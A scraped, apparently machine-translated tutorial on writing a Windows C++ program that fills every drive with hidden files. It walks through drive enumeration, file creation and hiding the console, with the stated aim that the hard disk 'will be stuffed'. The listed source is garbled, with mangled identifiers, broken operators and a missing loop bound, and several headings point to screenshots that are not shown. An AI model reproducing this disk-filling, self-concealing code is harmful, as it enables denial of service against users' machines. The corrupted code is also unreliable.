About writing a program that can fill a hard drive
Let's think about the idea:
First step: Get the logical drive letter
Step Two: Create a file
Step three: File write data
Extension requirements:
One: Hide window
Two: File set as hidden property
Below we introduce an API to the above ideas, give the source code after the acceptance
getlogicaldrivestrings function
Fills a buffer with strings this specify valid drives in the system.
DWORD WINAPI getlogicaldrivestrings ( _in_ DWORD nbufferlength, _out_ LPTSTR lpbuffer );
This function reads the disk that is available inside the system into the lpbuffer.
Success returns the total length of the fetch,
There are two cases of failure one is buffer is not long enough, one is another problem
About the other API functions, are relatively simple, some can be named from the meaning of the function, not in the introduction, the source code also has comments,
See the source code below
#include <Windows.h> int main () {//freeconsole (); Hide Console char Strdrivestrings[maxbyte] = {0}; Get the logical address DWORD Dwdrivestrlen = Getlogicaldrivestringsa (Maxbyte, strdrivestrings); for (size_t i = 0; i < dwdrivestrlen; i + = 4)//Every 4 bytes represents a drive letter {char Strtargetpath[max_path ] = {0}, Strroot[4] = {0}; strncpy_s (Strroot,&strdrivestrings[i], 4); strcpy_s (Strtargetpath, strroot); Create 100 files for (int j = 0; J < + j + +) {char Tempstrtargetpath[max_path]; strcpy_s (Tempstrtargetpath, Strtargetpath); Char Filename[maxbyte]; Char Date[maxbyte] = "11111"; wsprintf (FileName, "%d.txt", j); strcat_s (Tempstrtargetpath, FileName); Create file HANDLE hfile; hfile = Createfilea (Tempstrtargetpath, generic_write, 0, NULL, create_always, file_attribute_normal, NULL); if (hfile = = INVALID_HANDLE_VALUE) continue; DWORD Pointer; Write Data WriteFile (hfile, &date, strlen (Date), &pointer, NULL); CloseHandle (hfile); Sets the contents of the first n bytes of a piece of memory pointed by S to all to the ASCII value specified by ch memset (filename, 0, sizeof (filename)); Set to Hidden Setfileattributesa (Tempstrtargetpath, File_attribute_hidden); }} return 0; }
Set the file browsing properties:
The results of the operation are as follows:
If the following issues occur:
Modify the character set as follows:
So just a few more files, more data, the hard disk will be stuffed
The above is the easy to write the C + + program to fill the contents of the hard disk, more relevant content please pay attention to topic.alibabacloud.com (www.php.cn)!